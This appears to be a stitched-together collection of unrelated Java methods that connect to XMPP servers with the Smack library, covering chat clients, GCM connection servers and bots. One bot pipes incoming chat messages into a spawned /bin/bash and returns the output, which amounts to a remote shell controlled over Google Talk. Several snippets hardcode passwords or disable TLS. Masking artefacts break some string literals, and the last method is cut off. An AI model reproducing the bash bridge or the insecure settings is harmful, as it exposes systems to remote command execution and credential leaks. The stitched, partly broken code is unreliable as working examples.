/* * (non-Javadoc) * * @see * fr.univartois.ili.fsnet.commons.talk.ITalk#createAccount(java.lang.String * , java.lang.String, java.util.Map) */ @Override public boolean createAccount(String userName, String password, Map<String, String> map) { { if (!connection.isConnected()) { try { connection.connect(); } catch (XMPPException e3) { Logger.getAnonymousLogger().log(Level.SEVERE, "", e3); } } try { Map<String, String> finalMap = map; if (finalMap == null) { finalMap = new HashMap<String, String>(); } accountManager.createAccount(userName, password, finalMap); connection.disconnect(); // Thread.sleep(6000); connection.connect(); connection.login(userName, password); return true; } catch (XMPPException e2) { Logger.getAnonymousLogger().log(Level.SEVERE, "", e2); } return false; } }
@Override public boolean connect() throws RemoteException { if (mAdaptee.isConnected()) return true; else { try { mAdaptee.connect(); mAdaptee.addConnectionListener(mConListener); return true; } catch (XMPPException e) { Log.e(TAG, "Error while connecting", e); try { // TODO NIKITA DOES SOME SHIT !!! Fix this monstruosity String str = mService .getResources() .getString( mService .getResources() .getIdentifier( e.getXMPPError().getCondition().replace("-", "_"), "string", "com.beem.project.beem")); mErrorMsg = str; } catch (NullPointerException e2) { if (!"".equals(e.getMessage())) mErrorMsg = e.getMessage(); else mErrorMsg = e.toString(); } } return false; } }
/* * (non-Javadoc) * * @see * fr.univartois.ili.fsnet.commons.talk.ITalk#initConnexion(java.lang.String * , int, java.lang.String, java.lang.String, java.util.Map) */ @Override public void initConnexion( String xmppServer, int port, String login, String pssword, Map<String, String> map) throws TalkException { config = new ConnectionConfiguration(xmppServer, port); connection = new XMPPConnection(config); try { if (!connection.isConnected()) { connection.connect(); } accountManager = connection.getAccountManager(); connection.login(login, pssword); } catch (XMPPException e) { if ((e.getLocalizedMessage().contains("authentication failed") || e.getLocalizedMessage().contains("SASL authentication")) && accountManager.supportsAccountCreation()) { createAccount(login, pssword, map); } else { Logger.getAnonymousLogger().log(Level.SEVERE, "", e); } } /* It is only at that moment where the Listener is correctly initialized */ ChatStateManager.getInstance(connection); }
@Override public void run() { Log.i(LOGTAG, "ConnectTask.run()..."); XmppManager xmppManager = getXmppManager(); if (!xmppManager.isConnected()) { ConnectionConfiguration connCfg = new ConnectionConfiguration(xmppManager.getXmppHost(), xmppManager.getXmppPort()); connCfg.setSecurityMode(SecurityMode.required); connCfg.setSASLAuthenticationEnabled(false); connCfg.setCompressionEnabled(false); XMPPConnection connection = new XMPPConnection(connCfg); xmppManager.setConnection(connection); try { connection.connect(); ProviderManager.getInstance() .addIQProvider( "notification", Constants.NOTIFICATION_NAMESPACE, new NotificationIQProvider()); Log.i(LOGTAG, "XMPP connected successfully"); xmppManager.getContext().sendBroadcast(new Intent(Constants.ACTION_CONNECT_SUCCESS)); } catch (XMPPException e) { Log.e(LOGTAG, "XMPP connection failed", e); xmppManager.getContext().sendBroadcast(new Intent(Constants.ACTION_CONNECT_FAIL)); } xmppManager.runTask(); } else { Log.i(LOGTAG, "XMPP connected already"); xmppManager.runTask(); } }
public void retrieveVcard() { ConnectionConfiguration conf = new ConnectionConfiguration( ConnectionManager.HOST, ConnectionManager.PORT, ConnectionManager.SERVICE); connection = new XMPPConnection(conf); ProviderManager.getInstance().addIQProvider("vCard", "vcard-temp", new VCardProvider()); try { connection.connect(); Log.i("success", "successful connection to server"); } catch (XMPPException e) { Log.e("unable to connect to the server", e.toString()); } try { connection.login("admin", "xenomorph"); gettingCard(connection); } catch (XMPPException ex) { Log.e("error logging in as user ", ex.toString()); } }
/** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); final EditText et = (EditText) findViewById(R.id.editText1); final TextView tv = (TextView) findViewById(R.id.textView1); tv.setMovementMethod(new ScrollingMovementMethod()); Button startButton = (Button) findViewById(R.id.button1); startButton.setOnClickListener( new OnClickListener() { public void onClick(View v) { tv.append("ME: " + et.getText().toString() + "\n"); Message msg = new Message(); // msg.setTo("*****@*****.**"); // msg.setTo("*****@*****.**"); msg.setTo("*****@*****.**"); msg.setBody(et.getText().toString()); ((XMPPConnection) connection).sendPacket(msg); } }); try { // ConnectionConfiguration config = new ConnectionConfiguration("chat.facebook.com", 5222); // ConnectionConfiguration config = new ConnectionConfiguration("chatme.im", 5222); ConnectionConfiguration config = new ConnectionConfiguration("ppl.eln.uniroma2.it", 5222); config.setSecurityMode(ConnectionConfiguration.SecurityMode.disabled); connection = (Connection) new XMPPConnection(config); ((XMPPConnection) connection).connect(); // ((org.jivesoftware.smack.Connection) connection).login("mattiapan","totti10"); // ((org.jivesoftware.smack.Connection) connection).login("admin5551","admin5551"); ((org.jivesoftware.smack.Connection) connection).login("panattoni", "mattia"); } catch (XMPPException e) { // Log.e("paolo", "try catch error connection"); e.printStackTrace(); } ((org.jivesoftware.smack.Connection) connection) .addPacketListener( new PacketListener() { @Override public void processPacket(Packet pkt) { Message msg = (Message) pkt; String from = msg.getFrom(); String body = msg.getBody(); tv.append(from + " : " + body + "\n"); } }, new MessageTypeFilter(Message.Type.normal)); }
/** * Connects to the server and logs you in. If the server is unavailable then it will retry after a * certain time period. It will not return unless the connection is successful. * * <p>Note: add/set all listeners before logging in, otherwise some offline messages can get lost. * <br> * Note: Garena servers use different credentials to log in. {@link GarenaLogin} * * @param username Username of your account * @param password Password of your account * @param replaceLeague True will disconnect you account from the League of Legends client. False * allows you to have another connection open next to the official connection in the League of * Legends client. * @return true if login was succesful, false otherwise * @see GarenaLogin Logging in on Garena servers */ public boolean login(String username, String password, boolean replaceLeague) { int attempt = 0; // Wait until connection is stable while (!connection.isConnected()) { if (attempt > 0) { try { Thread.sleep(attempt * 10_000); } catch (final InterruptedException e) { } } attempt++; try { connection.connect(); } catch (SmackException | IOException | XMPPException e) { System.err.println( "Failed to connect to \"" + server.host + "\". Retrying in " + (attempt * 10) + " seconds."); } } // Login server.loginMethod.login(connection, username, password, replaceLeague); // Wait for roster to be loaded if (connection.isAuthenticated()) { new Thread( new Runnable() { @Override public void run() { while (!stop) { try { Thread.sleep(500); } catch (final InterruptedException ignored) { } } } }) .start(); final long startTime = System.currentTimeMillis(); while (!leagueRosterListener.isLoaded() && (System.currentTimeMillis() - startTime) < 60_000) { try { Thread.sleep(50); } catch (final InterruptedException e) { } } loaded = true; return true; } return false; }
public void connectToServer(String address) { try { prepareSession(address); connection = new XMPPConnection(config); connection.connect(); System.out.println("Connected."); initiateMessageListener(); } catch (XMPPException e) { e.printStackTrace(); } }
public void startSellingItem() throws XMPPException { connection.connect(); connection.login(String.format(ITEM_ID_AS_LOGIN, itemId), AUCTION_PASSWORD, AUCTION_RESOURCE); connection .getChatManager() .addChatListener( new ChatManagerListener() { public void chatCreated(Chat chat, boolean createLocally) { currentChat = chat; chat.addMessageListener(messageListener); } }); }
public static void sendViaXMPP(String message) { String userHome = System.getProperty("user.home"); try { String jabberConfig = FileUtils.readFileToString(new File(userHome + "/.nexmpp")); String[] xmppParams = jabberConfig.split(" "); if (xmppParams.length != 4) { System.err.println( "Wrong .nexmpp format, should be: server server_login server_password jabber_id"); return; } String server = xmppParams[0]; String serverLogin = xmppParams[1]; String serverPassword = xmppParams[2]; String jabberId = xmppParams[3].split("\n")[0]; Calendar cal = Calendar.getInstance(); int hour24 = cal.get(Calendar.HOUR_OF_DAY); if (hour24 <= 9) { // do not wake me up :) return; } try { String hostName = InetAddress.getLocalHost().getHostName(); // if (hostName.endsWith(".local") || hostName.startsWith("eduroam") || // hostName.startsWith("dhcp")) { // return; // } message = hostName + ": " + message; XMPPConnection connection = new XMPPConnection(server); connection.connect(); connection.login(serverLogin, serverPassword); ChatManager chatmanager = connection.getChatManager(); Chat chat = chatmanager.createChat(jabberId, null); chat.sendMessage(message); connection.disconnect(); } catch (XMPPException e) { e.printStackTrace(); } catch (UnknownHostException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println("No " + userHome + "/.nexmpp file."); return; } }
// kick off the minions void run() throws MinionsException { try { LOG.debug("Starting MinionsRunner"); ConnectionConfiguration connectionConfiguration; if (StringUtils.isNotBlank(config.getServer())) { connectionConfiguration = new ConnectionConfiguration(config.getServer(), config.getPort(), config.getService()); } else { connectionConfiguration = new ConnectionConfiguration(config.getService(), config.getPort()); } XMPPConnection conn = new XMPPConnection(connectionConfiguration); conn.connect(); conn.login(config.getUser(), config.getPassword(), config.getResource()); LOG.debug(format("Logged in: %s@%s", config.getUser(), config.getService())); MultiUserChat muc = new MultiUserChat(conn, config.getRoom()); if (StringUtils.isBlank(config.getRoomPassword())) { muc.join(config.getRoomNick()); } else { muc.join(config.getRoomNick(), config.getRoomPassword()); } LOG.debug(format("Joined: %s as %s", config.getRoom(), config.getRoomNick())); MinionStore minions = new MinionStore(config.getPluginsDir(), config.getRefreshSeconds(), muc); MinionsListener listener = new MinionsListener(minions, config.getPrefix(), muc, config.getRoomNick()); muc.addMessageListener(listener); Object lock = new Object(); synchronized (lock) { while (true) { lock.wait(); } } } catch (Throwable t) { throw new MinionsException(t); } }
private void connect() throws SmackInvocationException { if (!isConnected()) { setState(State.CONNECTING); if (con == null) { con = createConnection(); } try { con.connect(); } catch (Exception e) { Log.e(LOG_TAG, String.format("Unhandled exception %s", e.toString()), e); startReconnect(); throw new SmackInvocationException(e); } } }
private void connectToServer() { try { LOG.debug("Attempting vanilla XMPP Connection to {}:{}", xmppServer, xmppPort); xmpp.connect(); if (xmpp.isConnected()) { LOG.debug("XMPP Manager successfully connected"); // Following requires a later version of the library if (xmpp.isSecureConnection()) LOG.debug("XMPP Manager successfully nogotiated a secure connection"); if (xmpp.isUsingTLS()) LOG.debug("XMPP Manager successfully nogotiated a TLS connection"); LOG.debug("XMPP Manager Connected"); login(); // Add connection listener xmpp.addConnectionListener(conlistener); } else { LOG.debug("XMPP Manager Not Connected"); } } catch (Throwable e) { LOG.error("XMPP Manager unable to connect", e); } }
@Override public void run() { if (!xmppManager.isConnected() && !xmppManager.isRunning()) { try { xmppManager.setRunning(true); // Create the configuration for this new connection ConnectionConfiguration connConfig = new ConnectionConfiguration(xmppManager.getXmppHost(), xmppManager.getXmppPort()); connConfig.setSecurityMode(SecurityMode.disabled); // connConfig.setSecurityMode(SecurityMode.required); connConfig.setSASLAuthenticationEnabled(false); connConfig.setCompressionEnabled(false); XMPPConnection connection = new XMPPConnection(connConfig); xmppManager.setConnection(connection); // Connect to the server connection.connect(); // packet provider connection.addConnectionListener(xmppManager.getConnectionListener()); ProviderManager.getInstance() .addIQProvider( "notification", "androidpn:iq:notification", xmppManager.getNotificationIQProvider()); Log.i(LOG_TAG, "XMPP connected successfully"); callback.onSuccess(); } catch (Exception e) { Log.e(LOG_TAG, "XMPP connection failed", e); callback.onFailed("XMPP connection failed"); } finally { xmppManager.setRunning(false); } } else { Log.w(LOG_TAG, "XMPP is connected or is running"); callback.onFailed("XMPP is connected or is running"); } }
private void connectUsingFactory(ConnectionConfigurationFactory factory) throws FriendException { ConnectionConfigurationFactory.RequestContext requestContext = new ConnectionConfigurationFactory.RequestContext(); while (factory.hasMore(configuration, requestContext)) { ConnectionConfiguration connectionConfig = factory.getConnectionConfiguration(configuration, requestContext); connection = new XMPPConnection(connectionConfig); connection.addRosterListener(new RosterListenerImpl()); LOG.infof( "connecting to {0} at {1}:{2} ...", connectionConfig.getServiceName(), connectionConfig.getHost(), connectionConfig.getPort()); try { connection.connect(); return; } catch (org.jivesoftware.smack.XMPPException e) { LOG.debug(e.getMessage(), e); requestContext.incrementRequests(); } } throw new FriendException("couldn't connect using " + factory); }
private XMPPConnection xmppInitialize() { int port = 5222; try { port = Integer.parseInt(this.port); } catch (NumberFormatException e) { System.err.println( "WARNING: Invalid port number. Assuming port " + String.valueOf(port) + " instead."); } System.err.println( "INFO: Connecting to " + this.host + ", port: " + String.valueOf(port) + ", service: " + this.service + "."); ConnectionConfiguration configuration = new ConnectionConfiguration(this.host, port, this.service); XMPPConnection connection = new XMPPConnection(configuration); try { connection.connect(); } catch (XMPPException e) { System.err.println("ERROR: Failed to connect to server."); return null; } try { System.err.println("INFO: Trying to login as " + this.user + "."); connection.login(this.user, this.password); System.err.println("INFO: Logged in sucessfully."); return connection; } catch (XMPPException e) { System.err.println("ERROR: Failed to login to server."); return null; } }
/** 建立XMPP连接 */ public boolean connect() throws RemoteException { // 已经连接 if (connection.isConnected()) { return true; } else { try { // 开始连接 connection.connect(); if (connectionListener == null) { // 添加一个连接监听器 connectionListener = new IMClientConnectListener(); } connection.addConnectionListener(connectionListener); return true; } catch (SmackException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (XMPPException e) { e.printStackTrace(); } } return false; }
public void connectXMPPServer() throws XMPPException { org.jivesoftware.smackx.ConfigureProviderManager.configureProviderManager(); init(); ConnectionConfiguration config = new ConnectionConfiguration(xmppServer, port); config.setTruststoreType("BKS"); config.setTruststorePath("/system/etc/security/cacerts.bks"); mXMPPConnection = new XMPPConnection(config); mXMPPConnection.connect(); mXMPPConnection.login(userName, password); if (mXMPPConnection.isAuthenticated()) { System.out.println("JID authenticated successfully!"); } Roster.setDefaultSubscriptionMode(SubscriptionMode.manual); mPubSubManager = new PubSubManager(mXMPPConnection, "pubsub." + mXMPPConnection.getServiceName()); }
/** * Connects to GCM Cloud Connection Server using the supplied credentials. * * @throws XMPPException */ public void connect() throws XMPPException { config = new ConnectionConfiguration(Properties.GCM_SERVER, Properties.GCM_PORT); config.setSecurityMode(SecurityMode.enabled); config.setReconnectionAllowed(true); config.setRosterLoadedAtLogin(false); config.setSendPresence(false); config.setSocketFactory(SSLSocketFactory.getDefault()); // NOTE: Set to true to launch a window with information about packets sent and received config.setDebuggerEnabled(false); // -Dsmack.debugEnabled=true XMPPConnection.DEBUG_ENABLED = false; connection = new XMPPConnection(config); connection.connect(); connection.addConnectionListener( new ConnectionListener() { public void reconnectionSuccessful() { logger.info("Reconnecting.."); } public void reconnectionFailed(Exception e) { logger.log(Level.INFO, "Reconnection failed.. ", e); } public void reconnectingIn(int seconds) { logger.log(Level.INFO, "Reconnecting in %d secs", seconds); } public void connectionClosedOnError(Exception e) { logger.log(Level.INFO, "Connection closed on error."); } public void connectionClosed() { logger.info("Connection closed."); } }); // Handle incoming packets connection.addPacketListener( new PacketListener() { public void processPacket(Packet packet) { logger.log(Level.INFO, "Received: " + packet.toXML()); Message incomingMessage = (Message) packet; GcmPacketExtension gcmPacket = (GcmPacketExtension) incomingMessage.getExtension(Properties.GCM_NAMESPACE); String json = gcmPacket.getJson(); try { @SuppressWarnings("unchecked") Map<String, Object> jsonObject = (Map<String, Object>) JSONValue.parseWithException(json); // present for "ack"/"nack", null otherwise Object messageType = jsonObject.get("message_type"); if (messageType == null) { // Normal upstream data message handleIncomingDataMessage(jsonObject); // Send ACK to CCS String messageId = jsonObject.get("message_id").toString(); String from = jsonObject.get("from").toString(); String ack = createJsonAck(from, messageId); send(ack); } else if ("ack".equals(messageType.toString())) { // Process Ack handleAckReceipt(jsonObject); } else if ("nack".equals(messageType.toString())) { // Process Nack handleNackReceipt(jsonObject); } else { logger.log(Level.WARNING, "Unrecognized message type (%s)", messageType.toString()); } } catch (ParseException e) { logger.log(Level.SEVERE, "Error parsing JSON " + json, e); } catch (Exception e) { logger.log(Level.SEVERE, "Couldn't send echo.", e); } } }, new PacketTypeFilter(Message.class)); // Log all outgoing packets connection.addPacketInterceptor( new PacketInterceptor() { public void interceptPacket(Packet packet) { logger.log(Level.INFO, "Sent: {0}", packet.toXML()); } }, new PacketTypeFilter(Message.class)); connection.login(Properties.userName, Properties.password); }
public void startup() throws XMPPException { String host; Integer port; String service; synchronized (mDefaultSettings) { host = (String) mDefaultSettings.get("host"); port = Integer.parseInt((String) mDefaultSettings.get("port")); service = (String) mDefaultSettings.get("service"); } ConnectionConfiguration connConfig = new ConnectionConfiguration(host, port, service); mConnection = new XMPPConnection(connConfig); mConnection.connect(); String password = null; String resource = null; synchronized (mDefaultSettings) { mJid = mDefaultSettings.get("username") + "@" + mDefaultSettings.get("service"); password = (String) mDefaultSettings.get("password"); resource = (String) mDefaultSettings.get("resource"); } mConnection.login(mJid, password, resource); mConnection.addConnectionListener(this); ServiceDiscoveryManager sdm = ServiceDiscoveryManager.getInstanceFor(mConnection); // Set on every established connection that this client supports the Mobilis // protocol. This information will be used when another client tries to // discover whether this client supports Mobilis or not. try { sdm.addFeature(MobilisManager.discoNamespace); } catch (Exception e) { MobilisManager.getLogger().warning("Problem with ServiceDiscoveryManager: " + e.getMessage()); } synchronized (mServices) { for (MobilisService ms : mServices) { try { ms.startup(); sdm.setNodeInformationProvider(ms.getNode(), ms); } catch (Exception e) { MobilisManager.getLogger() .warning( "Couldn't startup Mobilis Service (" + ms.getIdent() + ") because of " + e.getClass().getName() + ": " + e.getMessage()); } } } // Set the NodeInformationProvider that will provide information about the // offered services whenever a disco request is received try { sdm.setNodeInformationProvider(MobilisManager.discoServicesNode, this); } catch (Exception e) { MobilisManager.getLogger() .warning( "Problem with NodeInformationProvider: " + MobilisManager.discoServicesNode + " (" + getIdent() + ") " + e.getMessage()); } // try { // String entityID = mJid; // DiscoverItems discoverItems = new DiscoverItems(); // Item item = new Item(entityID); // item.setAction(Item.UPDATE_ACTION); // item.setName("Mobilis Agent"); // item.setNode(null); // discoverItems.addItem(item); // sdm.publishItems(entityID, discoverItems); // } catch (Exception e) { // MobilisManager.getLogger().warning("Problem with ServiceDiscoveryManager: " + // e.getMessage()); // } // logging MobilisManager.getLogger().info("Mobilis Agent (" + getIdent() + ") started up."); }
private synchronized void setUp() { try { if (config != null) { if (config.getServletConfig().getInitParameter(XMPP_AUTH) != null) { authToken = config.getServletConfig().getInitParameter(XMPP_AUTH); } else { throw new IllegalStateException( "No authorization token specified. Please make sure your web.xml contains:" + "\n <init-param>\n" + " <param-name>org.atmosphere.plugin.xmpp.XMPPBroadcaster.authorization</param-name>\n" + " <param-value>principal:password</param-value>\n" + " </init-param>"); } if (config.getServletConfig().getInitParameter(XMPP_SERVER) != null) { uri = URI.create(config.getServletConfig().getInitParameter(XMPP_SERVER)); } else if (uri == null) { throw new NullPointerException("uri cannot be null"); } if (config.getServletConfig().getInitParameter(XMPP_DEBUG) != null) { XMPPConnection.DEBUG_ENABLED = true; } } ConnectionConfiguration config = null; int port = -1; try { port = uri.getPort(); } catch (Throwable t) {; } if (port == -1) { config = new ConnectionConfiguration(uri.getHost()); } else { config = new ConnectionConfiguration(uri.getHost(), port); } xmppConnection = new XMPPConnection(config); xmppConnection.connect(); SASLAuthentication.supportSASLMechanism("PLAIN", 0); String[] credentials = authToken.split(":"); xmppConnection.login(credentials[0], credentials[1], getID()); logger.info("Subscribing to: " + getID()); channel = xmppConnection .getChatManager() .createChat( getID(), new MessageListener() { public void processMessage(Chat chat, Message message) { broadcastReceivedMessage(message.getBody()); } }); logger.info("Connected to: " + getID()); } catch (Throwable t) { throw new RuntimeException(t); } }
public String getJid() { try { System.out.println("getJid method executed"); ConnectionConfiguration config = new ConnectionConfiguration(DOMAIN, PORT); config.setSASLAuthenticationEnabled(true); XMPPConnection con = new XMPPConnection(config); con.connect(); System.out.println("Connection ok"); con.login("searchuser", "search"); System.out.println("Logged in"); UserSearchManager search = new UserSearchManager(con); System.out.println("User Search created"); Collection services = search.getSearchServices(); System.out.println("Search Services found:"); Iterator it = services.iterator(); while (it.hasNext()) { System.out.println(it.next()); } Form searchForm = search.getSearchForm("search." + "cuopencomm"); System.out.println("Available search fields:"); Iterator<FormField> fields = searchForm.getFields(); while (fields.hasNext()) { FormField field = fields.next(); System.out.println(field.getVariable() + " : " + field.getType()); } Form answerForm = searchForm.createAnswerForm(); answerForm.setAnswer("search", email); answerForm.setAnswer("Email", true); ReportedData data = search.getSearchResults(answerForm, "search." + "cuopencomm"); System.out.println("\nColumns that are included as part of the search results:"); Iterator<Column> columns = data.getColumns(); while (columns.hasNext()) { System.out.println(columns.next().getVariable()); } System.out.println("\nThe jids and emails from our each of our hits:"); Iterator<Row> rows = data.getRows(); while (rows.hasNext()) { Row row = rows.next(); Iterator<String> jids = row.getValues("jid"); Iterator<String> emails = row.getValues("email"); String jidFound = null; String emailFound = null; while (emails.hasNext() && jids.hasNext()) { jidFound = jids.next(); emailFound = emails.next(); System.out.println(jidFound); System.out.println(emailFound); if (emailFound.equalsIgnoreCase(email)) { jid = jidFound; String[] jidCleaned = jid.split("@"); jid = jidCleaned[0]; System.out.println(jid); } } } con.disconnect(); return jid; } catch (Exception ex) { System.out.println("Caught Exception :" + ex.getMessage()); return jid; } }
public static void main(String[] args) { Scanner inputReader = new Scanner(System.in); XMPPConnection connection = null; System.out.println("Welcome to the Multi User Chat Desktop Application."); boolean notConnected = true; while (notConnected) { System.out.println("Enter the XMPP server you would like to connect to (e.g. myserver.org):"); String xmppServer = inputReader.nextLine(); try { System.out.println("Processing... Please wait"); connection = new XMPPConnection(xmppServer); // connects to server address provided connection.connect(); System.out.println("Connection Successful!\n"); notConnected = false; } catch (Exception e) { System.out.println( "There was an issue connecting to the XMPP server '" + xmppServer + "' (We recommend jabber.org)"); } } boolean validUserAndPass = false; String userName = null; while (!validUserAndPass) { System.out.println("Please enter your username: "******"Please enter your password: "******"Validating your information..."); connection.login(userName, password); // attempts to login to the server validUserAndPass = true; System.out.println("Login Successful!\n"); } catch (Exception e) { System.out.println( "Error logging into server - Your username or password may be incorrect"); } } Connection connection2 = new XMPPConnection("jabber.org"); MultiUserChat groupChat2 = null; try { connection2.connect(); connection2.login("*****@*****.**", "opencommdesign"); } catch (XMPPException e1) { System.out.println("Hardcoded opencommdesign failed to log in"); } System.out.println("Enter a command to begin (or 'help' to see available commands)"); MultiUserChat groupChat = null; ArrayList<RosterEntry> onlineUsersInRoom = new ArrayList<RosterEntry>(); // updated when a user accepts the chat invitation boolean chatRoomGenerated = false; // checked against to make sure room is not regenerated each time a user is invited ChatManager chatmanager = null; Chat chat = null; boolean programTerminated = false; while (!programTerminated) { String input = inputReader.nextLine(); input = input .trim(); // ignores spaces before and after the command if the command itself is // correct - does not remove spaces mixed into the command if (input.startsWith(HELP_VERB) && input.length() == HELP_VERB.length()) { System.out.println(COMMAND_OPTIONS); // prints list of available commands } else if (input.equals(VIEW_ROOM_VERB)) { if (groupChat == null) { System.out.println("You are not currently in any chat rooms"); } else { System.out.println("You are currently in the '" + DEFAULT_ROOM_NAME + "' chatroom"); } } else if (input.startsWith(INVITATION_VERB)) { String userToInvite = input.substring( INVITATION_VERB.length() + 1); // +1 accounts for space after verb, isolates the username try { if (!chatRoomGenerated) { System.out.println("Initializing a default chat room..."); groupChat = new MultiUserChat(connection, DEFAULT_ROOM_NAME + "@conference.jabber.org"); groupChat.create( DEFAULT_ROOM_NAME); // initializes a default instant room, automatically placing the // user in it groupChat.sendConfigurationForm(new Form(Form.TYPE_SUBMIT)); System.out.println("Default chat room initialized!"); // listen for invitation rejections groupChat.addInvitationRejectionListener( new InvitationRejectionListener() { public void invitationDeclined(String invitee, String reason) { System.out.println("User '" + invitee + "' declined your chat invitation."); System.out.println("Reason: " + reason); } }); groupChat2 = new MultiUserChat(connection, DEFAULT_ROOM_NAME + "@conference.jabber.org"); groupChat2.join(DEFAULT_ROOM_NAME); // hardcoded second user joins the room chatRoomGenerated = true; chatmanager = connection.getChatManager(); chat = chatmanager.createChat( userToInvite, new MessageListener() { public void processMessage(Chat chat, Message message) { System.out.println("Received message: " + message); } }); } groupChat.invite( userToInvite, "User '" + userName + "' has invited you to join a chat room"); } catch (XMPPException e) { System.out.println("Error occured in creating the chat room"); } } else if (input.equals(VIEW_BUDDY_VERB)) { // if user enters viewBuddyList Roster roster = connection.getRoster(); // gets other users on this connection Collection<RosterEntry> entries = roster.getEntries(); ArrayList<RosterEntry> onlineUsers = new ArrayList<RosterEntry>(); ArrayList<RosterEntry> offlineUsers = new ArrayList<RosterEntry>(); for (RosterEntry entry : entries) { if (entry .toString() .contains( "[Buddies]")) { // if other users are marked as buddies, print them to the list String user = entry.getUser(); if (roster.getPresence(user) == null) { // if user is offline, add them to offlineUsers offlineUsers.add(entry); } else { onlineUsers.add(entry); } } } System.out.println("Online Buddies in your chat room:"); if (groupChat.getOccupantsCount() == 1) { System.out.println("There are 0 buddies in your chat room"); } else { @SuppressWarnings("unchecked") Collection<String> users = (Collection<String>) groupChat.getOccupants(); for (@SuppressWarnings("unused") String user : users) { System.out.println(user); } } System.out.println("Online Buddies:"); if (onlineUsers.size() == 0) { System.out.println("There are 0 buddies online"); } else { for (RosterEntry entry : onlineUsers) { String user = entry.toString().substring(0, entry.toString().indexOf("[Buddies]")); System.out.println(user); } } System.out.println("Offline Buddies:"); if (offlineUsers.size() == 0) { System.out.println("There are 0 buddies offline"); } else { for (RosterEntry entry : offlineUsers) { String user = entry.toString().substring(0, entry.toString().indexOf("[Buddies]")); System.out.println(user); } } System.out.println(""); } else { System.out.println( "Command not recognized. Type 'help' to see a list of available commands"); } if (!programTerminated) { System.out.println("Enter a command: "); } } }
public void connect() { try { ConnectionConfiguration xmppConfig = new ConnectionConfiguration("talk.google.com", 5222, "gmail.com"); connection = new XMPPConnection(xmppConfig); connection.connect(); SASLAuthentication.supportSASLMechanism("PLAIN", 0); // Get data String user = Controller.getSettings().USERNAME; String password = Controller.getSettings().PASSWORD; connection.login(user, password); chatManager = connection.getChatManager(); for (Object name : Controller.getSettings().ADMIN_LIST.keySet().toArray()) { createAndAddToChat(name.toString()); chat(name.toString()) .sendMessage( Controller.getName() + " has activated on server : " + Controller.getPluginInstance().getServer().getServerName()); } for (Object name : Controller.getSettings().USER_LIST.keySet().toArray()) { createAndAddToChat(name.toString()); chat(name.toString()) .sendMessage( Controller.getName() + " has activated on server : " + Controller.getPluginInstance().getServer().getServerName()); } chatManager.addChatListener( new ChatManagerListener() { public void chatCreated(Chat chat, boolean createdLocally) { if (!createdLocally && !chatExactlyExists(chat)) { if (Controller.getSettings().OPEN_CHANNEL) { try { chat.sendMessage("You have now been added to this server's chat room."); } catch (XMPPException ex) { Logger.getLogger(XMPPManager.class.getName()).log(Level.SEVERE, null, ex); } createAndAddToChat(chat); } else { if (Controller.getSettings().isUser(correctAdress(chat.getParticipant()))) { try { chat.sendMessage("You have now been added to this server's chat room."); } catch (XMPPException ex) { Logger.getLogger(XMPPManager.class.getName()).log(Level.SEVERE, null, ex); } createAndAddToChat(chat); } else { try { chat.sendMessage( "You do not have permission to join this server's chat. Please contact an admin."); } catch (XMPPException ex) { Logger.getLogger(XMPPManager.class.getName()).log(Level.SEVERE, null, ex); } } } } } }); } catch (XMPPException ex) { System.out.println("Failure to connect : " + ex.getMessage()); } }
public void run() throws XMPPException, IOException, InterruptedException { logger.debug("Trying to connect to " + host + ":" + port); ConnectionConfiguration configuration = new ConnectionConfiguration(host, port, "gmail.com"); final XMPPConnection connection = new XMPPConnection(configuration); connection.connect(); logger.debug("...connected"); SASLAuthentication.supportSASLMechanism("PLAIN", 0); logger.debug("Trying to log in with credentials " + login + ":" + password); connection.login(login, password, "MyXmppBot"); logger.debug("...logged in"); final Process process = Runtime.getRuntime().exec("/bin/bash"); final InputStream inputStream = process.getInputStream(); final OutputStream outputStream = process.getOutputStream(); Thread inputThread = new Thread( new Runnable() { @Override public void run() { InputStreamReader inputStreamReader = new InputStreamReader(inputStream); BufferedReader bufferedReader = new BufferedReader(inputStreamReader); try { while (true) { String line = bufferedReader.readLine(); Message message = new Message(to); message.setBody(line); connection.sendPacket(message); } } catch (IOException e) { e.printStackTrace(); } } }); inputThread.start(); final PrintWriter commandWriter = new PrintWriter(outputStream, true); PacketListener listener = new PacketListener() { @Override public void processPacket(Packet packet) { if (packet instanceof Message) { Message message = (Message) packet; to = message.getFrom(); String command = message.getBody(); if (command != null) { logger.debug("Command received:" + command); if (command.equalsIgnoreCase("exit")) { process.destroy(); System.exit(0); } else { commandWriter.println(command); } } } } }; PacketFilter filter = new FromContainsFilter("carlos.prados"); Thread.sleep(1000); connection.addPacketListener(listener, null); }
/** * Connects to GCM Cloud Connection Server using the supplied credentials. * * @param senderId Your GCM project number * @param apiKey API Key of your project */ public void connect(long senderId, String apiKey) throws XMPPException, IOException, SmackException { ConnectionConfiguration config = new ConnectionConfiguration(GCM_SERVER, GCM_PORT); config.setSecurityMode(SecurityMode.enabled); config.setReconnectionAllowed(true); config.setRosterLoadedAtLogin(false); config.setSendPresence(false); config.setSocketFactory(SSLSocketFactory.getDefault()); connection = new XMPPTCPConnection(config); connection.connect(); connection.addConnectionListener(new LoggingConnectionListener()); // Handle incoming packets connection.addPacketListener( new PacketListener() { @Override public void processPacket(Packet packet) { logger.log(Level.INFO, "Received: " + packet.toXML()); Message incomingMessage = (Message) packet; GcmPacketExtension gcmPacket = (GcmPacketExtension) incomingMessage.getExtension(GCM_NAMESPACE); String json = gcmPacket.getJson(); try { @SuppressWarnings("unchecked") Map<String, Object> jsonObject = (Map<String, Object>) JSONValue.parseWithException(json); // present for "ack"/"nack", null otherwise Object messageType = jsonObject.get("message_type"); if (messageType == null) { // Normal upstream data message handleUpstreamMessage(jsonObject); // Send ACK to CCS String messageId = (String) jsonObject.get("message_id"); String from = (String) jsonObject.get("from"); String ack = createJsonAck(from, messageId); send(ack); } else if ("ack".equals(messageType.toString())) { // Process Ack handleAckReceipt(jsonObject); } else if ("nack".equals(messageType.toString())) { // Process Nack handleNackReceipt(jsonObject); } else if ("control".equals(messageType.toString())) { // Process control message handleControlMessage(jsonObject); } else { logger.log(Level.WARNING, "Unrecognized message type (%s)", messageType.toString()); } } catch (ParseException e) { logger.log(Level.SEVERE, "Error parsing JSON " + json, e); } catch (Exception e) { logger.log(Level.SEVERE, "Failed to process packet", e); } } }, new PacketTypeFilter(Message.class)); // Log all outgoing packets connection.addPacketInterceptor( new PacketInterceptor() { @Override public void interceptPacket(Packet packet) { logger.log(Level.INFO, 